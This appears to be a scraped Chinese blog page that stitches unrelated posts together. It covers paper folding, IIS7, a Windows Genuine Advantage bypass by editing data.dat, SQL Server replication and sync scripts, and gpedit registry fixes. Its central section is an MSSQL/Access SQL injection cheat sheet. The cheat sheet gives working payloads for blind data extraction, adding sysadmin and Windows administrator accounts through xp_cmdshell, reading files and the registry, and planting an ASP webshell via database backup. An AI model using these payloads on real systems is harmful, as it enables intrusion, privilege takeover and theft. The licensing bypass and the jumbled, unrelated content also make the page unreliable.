信用生活从我爱卡开始

贴上说，无论多大的一张纸,最多只能对折八次！（看好了，是对折）

看着很是怀疑，所以亲手实验起来。。

结果十分意外，真的是无论如何也不能超过八次！

我甚至用了只有一层的餐巾纸，卫生间的手纸。。。

长见识了，又一真理！大家学习吧。。

IIS 7将是Longhorn Server中的重要组件,以往的6个版本微软也从未用过独立的域名来宣传和讲解,最近关于IIS 7的报道和内幕也越来越多,想要了解更多,我们一起来看IIS.net—微软官方刚刚上线的IIS专业技术网站,记录了IIS开发团队的全部!IIS.net金属感十足的界面，估计是想突出其稳定性有安全性吧！以下是IIS7的官方介绍：

更确切点，应该说是非常不友好~哈哈。。

进入查看~~别把鼻血喷到我的Blog上。哈哈~

首先需要通过windows update功能升级一下，确定无法升级，再按下面的方法操作！

找到C:\Documents and Settings\All Users\Application Data\Windows Genuine Advantage\data下面的data.dat文件，先将它的属性中的只读勾去掉，再用记事本打开它。看到了什么？一堆乱码？是的，乱码，不管它，全部删掉。删完了只剩下空的文档以后，再随便打上几个字，实在不知道写什么就写自己名字好了：“Hi Wyulnnhtg！”^_^然后保存。保存以后还有一个很重要的一点就是，别忘了在属性里“只读”打上勾！切记，不写只读还是会还原的。

　　
　　SQL SERVER复制技术类型
　　
　　SQL SERVER提供了三种复制技术，分别是：
　　
　　1、快照复制（呆会我们就使用这个）
　　2、事务复制
　　3、合并复制
　　
　　只要把上面这些概念弄清楚了那么对复制也就有了一定的理解。接下来我们就一步一步来实现复制的步骤。
　　
　　第一先来配置出版服务器
　　
　　(1)选中指定[服务器]节点
　　(2)从[工具]下拉菜单的[复制]子菜单中选择[发布、订阅服务器和分发]命令
　　(3)系统弹出一个对话框点[下一步]然后看着提示一直操作到完成。
　　(4)当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器。同时也生成一个分发数据库(distribution)
　　
　　第二创建出版物
　　
　　(1)选中指定的服务器
　　(2)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令。此时系统会弹出一个对话框
　　(3)选择要创建出版物的数据库，然后单击[创建发布]
　　(4)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
　　(5)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型，SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行”SQL SERVER 2000″的数据库服务器
　　(6)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
　　(7)然后[下一步]直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。
　　
　　第三设计订阅
　　
　　(1)选中指定的订阅服务器
　　(2)从[工具]下拉菜单中选择[复制]子菜单的[请求订阅]
　　(3)按照单击[下一步]操作直到系统会提示检查SQL SERVER代理服务的运行状态，执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。
　　(4)单击[完成]。完成订阅操作。
　　
　　完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢？这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生，每一分钟，在0：00：00和23：59：59之间。接下来就是判断复制是否成功了打开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表—

　　一个手工同步的方案
　　
　　–定时同步服务器上的数据
　　
　　–例子:
　　
　　–测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test
　　
　　–服务器上的表(查询分析器连接到服务器上创建)
　　
　　create table [user](id int primary key,number varchar(4),name varchar(10))
　　go
　　
　　–以下在局域网(本机操作)
　　
　　–本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录
　　
　　if exists (select * from dbo.sysobjects where id = object_id(N’[user]‘) and OBJECTPROPERTY(id, N’IsUserTable’) = 1)
　　drop table [user]
　　GO
　　create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
　　go
　　
　　–创建触发器,维护state字段的值
　　
　　create trigger t_state on [user]
　　after update
　　as
　　update [user] set state=1
　　from [user] a join inserted b on a.id=b.id
　　where a.state is not null
　　go
　　
　　–为了方便同步处理,创建链接服务器到要同步的服务器
　　
　　–这里的远程服务器名为:xz,用户名为:sa,无密码
　　
　　if exists(select 1 from master..sysservers where srvname=’srv_lnk’)
　　exec sp_dropserver ’srv_lnk’,'droplogins’
　　go
　　exec sp_addlinkedserver ’srv_lnk’,”,’SQLOLEDB’,'xz’
　　exec sp_addlinkedsrvlogin ’srv_lnk’,'false’,null,’sa’
　　go
　　
　　–创建同步处理的存储过程
　　
　　if exists (select * from dbo.sysobjects where id = object_id(N’[dbo].[p_synchro]‘) and OBJECTPROPERTY(id, N’IsProcedure’) = 1)
　　drop procedure [dbo].[p_synchro]
　　GO
　　create proc p_synchro
　　as
　　–set XACT_ABORT on
　　
　　–启动远程服务器的MSDTC服务
　　
　　–exec master..xp_cmdshell ‘isql /S”xz” /U”sa” /P”" /q”exec master..xp_cmdshell ”net start msdtc”,no_output”‘,no_output
　　
　　–启动本机的MSDTC服务
　　
　　–exec master..xp_cmdshell ‘net start msdtc’,no_output
　　
　　–进行分布事务处理,如果表用标识列做主键,用下面的方法
　　
　　–BEGIN DISTRIBUTED TRANSACTION

　　–同步删除的数据
　　
　　delete from srv_lnk.test.dbo.[user]
　　where id not in(select id from [user])
　　
　　–同步新增的数据
　　
　　insert into srv_lnk.test.dbo.[user]
　　select id,number,name from [user] where state is null
　　
　　–同步修改的数据
　　
　　update srv_lnk.test.dbo.[user] set
　　number=b.number,name=b.name
　　from srv_lnk.test.dbo.[user] a
　　join [user] b on a.id=b.id
　　where b.state=1
　　
　　–同步后更新本机的标志
　　
　　update [user] set state=0 where isnull(state,1)=1
　　–COMMIT TRAN
　　go
　　
　　–创建作业,定时执行数据同步的存储过程
　　
　　if exists(SELECT 1 from msdb..sysjobs where name=’数据处理’)
　　EXECUTE msdb.dbo.sp_delete_job @job_name=’数据处理’
　　exec msdb..sp_add_job @job_name=’数据处理’
　　
　　–创建作业步骤
　　
　　declare @sql varchar(800),@dbname varchar(250)
　　select @sql=’exec p_synchro’ –数据处理的命令
　　,@dbname=db_name() –执行数据处理的数据库名
　　exec msdb..sp_add_jobstep @job_name=’数据处理’,
　　@step_name = ‘数据同步’,
　　@subsystem = ‘TSQL’,
　　@database_name=@dbname,
　　@command = @sql,
　　@retry_attempts = 5, –重试次数
　　@retry_interval = 5 –重试间隔
　　
　　–创建调度
　　
　　EXEC msdb..sp_add_jobschedule @job_name = ‘数据处理’,
　　@name = ‘时间安排’,
　　@freq_type = 4, –每天
　　@freq_interval = 1, –每天执行一次
　　@active_start_time = 00000 –0点执行
　　go

　　有时候客户端和服务器不在同一个局域网里面，这时候很可能无法直接使用服务器名称来标识该服务器，这时候我们可以使用HOSTS文件来进行名字解析，具体的方法是:

　　通过以上几个方面的检查，基本上可以排除第一种错误。

　　二、”无法连接到服务器，用户xxx登陆失败”

　　该错误产生的原因是由于SQL Server使用了”仅 Windows”的身份验证方式，因此用户无法使用SQL Server的登录帐户（如 sa ）进行连接。解决方法如下所示:

　　1、先保证ping通
　　2、在dos下写入telnet ip 1433不会报错
　　3、用ip连如企业管理器：
　　企业管理器>右键SQlserver组>新建sqlserver注册>下一步>写入远程实例名（IP，机器名）>下一步>选Sqlserver登陆>下一步>写入登陆名与密码（sa，pass）>下一步>下一步>完成
　　4、如果还不行：
　　sqlserver服务器>开始菜单>SQLserver>服务器网络实用工具>启用 WinSock代理>代理地址：(sqlserver服务器IP)>代理端口>1433>OK了
　　5、如果还不行：
　　sqlserver客户端>开始菜单>SQLserver>客户端网络实用工具>别名>添加>写入别名如”大力”>”网络库”选tcp/ip>服务器名称写入远程ip或实例名>OK了

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ”=’

4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));–
;and 1=(select IS_MEMBER(’db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net user username password /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'CommonFilesDir’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’,'reg_sz’,'hello’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’ 删除某个值

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values (”);

backup database model to disk=’g:\wwwtest\l.asp’;

方法二、1、点击『开始』菜单
　　　　2、点击“运行”
　　　　3、键入”regedit”（不包括感叹号）
　　　　4、在注册表键值　 HKEY_CURRENT_USERSoftwarePoliciesMicrosoftMmc{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}Restrict_Run
和HKEY_CURRENT_USERSoftwarePoliciesMicrosoftMMC{0F6B957E-509E-11D1-A7CC-0000F87571E3}Restrict_Run 请将 Restrict_Run 的值设置为 0
5、修改完毕后重启。

方法三、1、点击『开始』菜单
　　　　2、点击“运行”
　　　　3、键入”regedit”（不包括感叹号）
　　　　4、在注册表键值HKEY_CLASSES_ROOTCLSID{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}InProcServer32 把其中的default改成：%SystemRoot%System32GPEdit.dll
5、修改完毕后重启。

附：如果在方法一/二中提到的MMC项在你的计算机注册表中找不到，那么就手动建立即可。或者直接将下面内容复制粘贴进入记事本，并保存为后缀名为.reg的文件，双击运行该.reg文件即可。

另外gpedit.msc文件在windowssystem32文件夹下
文档http://www.weiblog.com/post/10.html
有可能是你的gpedit.msc这个文件损坏了，你可以从别人的机器中把这个文件拷一个过来，覆盖原来的文件试试
如果要是不管事的话，你可以试着把gpedit.dll文件重新注册一下，在运行下输入regsvr32 gpedit.dll，看看是不是报错，要是报错了的话就比较麻烦了，要不报错的话应该就解决了